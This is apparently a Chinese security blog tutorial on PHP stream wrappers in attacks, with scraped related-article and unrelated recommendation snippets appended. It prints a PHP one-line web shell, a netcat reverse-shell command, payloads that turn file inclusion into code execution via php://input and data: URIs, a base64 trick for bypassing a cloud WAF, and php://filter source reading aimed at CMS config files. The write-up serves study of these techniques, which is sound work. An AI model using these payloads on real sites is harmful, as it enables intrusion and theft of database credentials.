一、php://input一句话木马

在调研dedecms的历史漏洞时,发现了dedecms安装文件曾经出过被植入后门的漏洞(SSV-ID站点include目录下shopcar.class.php文件被植入一句话木马)

@eval(file_get_contents('php://input'))

我是个十足的php菜鸟,只有用到的时候才会去查查语法书,对php://input也只是有点印象而已,于是用脚本phpinput.php,配合firefox Hackbar插件测试了一下php://input的功能。

<?php
$data=file_get_contents('php://input');
echo $data."<br/>";
//@eval(file_get_contents('php://input'))
?>

发现php://input是用来接收post数据(这里有php://input的介绍)

注释掉phpinput.php的打印语句

<?php @eval(file_get_contents('php://input'))?>

使用firefox的hackbar提交上图显示的post data:

system('ncat -e /bin/bash localhost 1234');

测试了一下nc反弹shell的利用,成功

看来,只要构造了合适的POST数据,就能达到getshell的目的。

二、php://input将文件包含漏洞变成代码执行漏洞
顿时觉得php://input好神奇,于是进一步搜索它还能发挥哪些作用。

在这里感谢Casperkid大牛的文章《php LFI读php文件源码以及直接post webshell》,我才知道文件包含可以这样深入。

接下来,演示TA是如何将文件包含漏洞转变成代码执行的漏洞。方法参考LFI exploitation via php://input

首先看一段存在文件包含漏洞的代码

<?php @include($_GET["file"])?>

我们使用php://input,将执行代码通过Firefox 的hackbar 在POST data中提交

<?php system('ifconfig');?>

看,文件包含漏洞变成代码执行漏洞了

三、data URI schema将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的WAF

那还有哪些办法,可以同样做到代码执行呢,Casperkid大牛的文章中提到,data URI schema的使用就可以达到这样的效果。
data URI schema,我曾经在做钓鱼的练习中,将攻击代码生成这种格式并配合短地址转换来生成恶意url,见《利用iframe URI钓鱼》,但没想到可以用在文件包含漏洞中。

接下来演示如何实施。

在实施的时候,我突然想到,文件包含漏洞,在读取php文件时,是不能显示文件内容的。
而很多情况,我们是急需读取PHP格式的配置文件,例如

dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php

以便下一步渗透测试

于是我写了一段读取指定文件FileInclude.php的代码

<?php system('cat /var/www/FileInclude.php')?>

然后将攻击代码转化成data:URI,

data:text/plain,<?php system('cat /var/www/FileInclude.php')?>

运行,如下

注意,我们看到转化后的GET请求的参数中包含<?的标记,在遇到有些WAF,包括云WAF(例如360网站卫士),就会将其视为攻击代码,阻挡下来。于是我们需要做一下编码处理

data:text/plain;base64,[攻击代码的base64编码]

运行,如下

四、php://filter在文件包含漏洞中的利用——读取php文件源码内容
经过上面的操作,我们知道php://input与data:URI schema可以将文件包含漏洞变成代码执行漏洞从而getshell。接下来看看php://input的好基友php://filter能做什么呢

参考LFI’s Exploitation Techniques,我们可以采用php://filter以base64编码的方式读取指定文件的内容:

php://filter/read=convert.base64-encode/resource=[文件路径]

下面演示通过php://filter读取本包含漏洞脚本的源码

接下来只要将base64编码后的字符串通过base64解码就可得到PHP文件的源码了

参考:
http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html
http://hi.baidu.com/qingsh4n/item/92ffa87281e7ee226cc37cc7
http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0

http://www.php.net/manual/zh/wrappers.php.php

php://input,php://filter,data URI schema的那些事的更多相关文章

  1. 细说 Data URI

    Data URL 早在 1995 年就被提出,那个时候有很多个版本的 Data URL Schema 定义陆续出现在 VRML 之中,随后不久,其中的一个版本被提上了议案——将它做个一个嵌入式的资源放 ...

  2. intent-filter data Uri 意图过滤器 详解

    组件的intent-filter属性         如果一个 Intent 请求在一片数据(Uri)上执行一个动作(Action), Android 如何知道哪个应用程序的哪个组件能用来响应这个请求 ...

  3. Data URI(转)

    Data URL 早在 1995 年就被提出,那个时候有很多个版本的 Data URL Schema 定义陆续出现在 VRML 之中,随后不久,其中的一个版本被提上了议案——将它做个一个嵌入式的资源放 ...

  4. 关于Data URI

    [新增]:http://www.webhek.com/post/data-url.html 引子:在研究FileReader时,有个方法readAsDataURL;然后看到打印出来的东西类似于如下:[ ...

  5. JS魔法堂:Data URI Scheme介绍

    一.前言 上周五公司内部的Any Topic Conf.上我和同事们分享了这个主题,有同事说这个有用,有同事说这个没啥用,后来还延伸到网站性能的话题上,大家讨论的激烈程度让我觉得这次选题还不错.本篇先 ...

  6. Data URI Scheme,base64

    一.从HTTP URI Scheme入手 对于 <a href="http://github.com">HTTP URI Scheme</a> 我想大家都应 ...

  7. ElasticSearch7.3学习(三十二)----logstash三大插件(input、filter、output)及其综合示例

    1. Logstash输入插件 1.1 input介绍 logstash支持很多数据源,比如说file,http,jdbc,s3等等 图片上面只是一少部分.详情见网址:https://www.elas ...

  8. 无法为目标平台“Microsoft.Data.Tools.Schema.Sql.Sql120DatabaseSchemaProvider”创建扩展管理器

    很久没写博客了,这段时间情绪不那么稳定,还是心态的问题... 就简单写个问题的解决方法吧,其实最近遇到的问题蛮多的,就拿这个解决过后又遇到的来写吧. 正如标题一样:VS2013 无法为目标平台“Mic ...

  9. Data URI 应用场景小结

    Data URI scheme 在前端开发中是个常用的技术,通常会在 CSS 设置背景图中用到.比如在 Google 的首页就有用到: Data URI scheme 简称 Data URI,经常会被 ...

随机推荐

  1. NoSql之MongoDB--Ubuntu下安装

    MongoDB只提供了64位LTS(长期支持)Ubuntu发行版的packages.例如,12.04 LTS,14.04 LTS,16.04 LTS等等. 1.导入被包管理系统使用的公钥 Ubuntu ...

  2. 阴影:box-shaw

    box-shaw:0px 0px 2px 3px while; 水平方向  垂直方向  模糊半径  模糊系数(大小)颜色

  3. BZOJ4260 Codechef REBXOR 题解

    题目大意: 有一个长度为n的序列,求1≤l1≤r1<l2≤r2≤n使得(⊕r1i=l1ai)+(⊕r2i=l2ai)最大,输出这个最大值. 思路: 用Trie求出前缀异或和以及后缀异或和,再求出 ...

  4. ACM: NBUT 1646 Internet of Lights and Switches - 二进制+map+vector

    NBUT 1646 Internet of Lights and Switches Time Limit:5000MS     Memory Limit:65535KB     64bit IO Fo ...

  5. ACM: 强化训练-百度之星-Problem C-字典树

    Problem C Time Limit:1000MS     Memory Limit:131072KB     64bit IO Format:%I64d & %I64u Descript ...

  6. NOIP 2005 青蛙过河

    做题记录:2016-08-10 21:58:09 题目描述 在河上有一座独木桥,一只青蛙想沿着独木桥从河的一侧跳到另一侧.在桥上有一些石子,青蛙很讨厌踩在这些石子上.由于桥的长度和青蛙一次跳过的距离都 ...

  7. 移动端touch模块

    在自己写touch事件时,总是会出现各种各样的bug,正好发现zepto的touch模块,很好用,而且由于zepto和jquery语法的相似性,这个模块也可以直接引用到jquery中, 得花时间好好消 ...

  8. dubbo源码学习(一)之ExtensionLoader

    [转载请注明作者和原文链接,欢迎讨论,相互学习.] 一.前言 ExtensionLoader类,主要是根据扩展点名称来对扩展点接口实现进行的一系列操作,如果获取扩展点接口实现实例.适配类实例.更新实现 ...

  9. FLEX监视浏览器关闭事件

    在最近开发的一个FLEX项目中对于浏览器关闭时,需要做一些清理工作,该清理工作在正常情况下保证能运行就行了,要求不是太高. 因此在网上找了一些方法,经过实际测试确实可行,记录下来备查. 该方法可以完全 ...

  10. continue 语句

    停止循环的当前迭代,并开始新的迭代. continue [label]; 可选的 label 参数指定 continue 应用于哪条语句. 说明 只能在 while.do...while.for.或  ...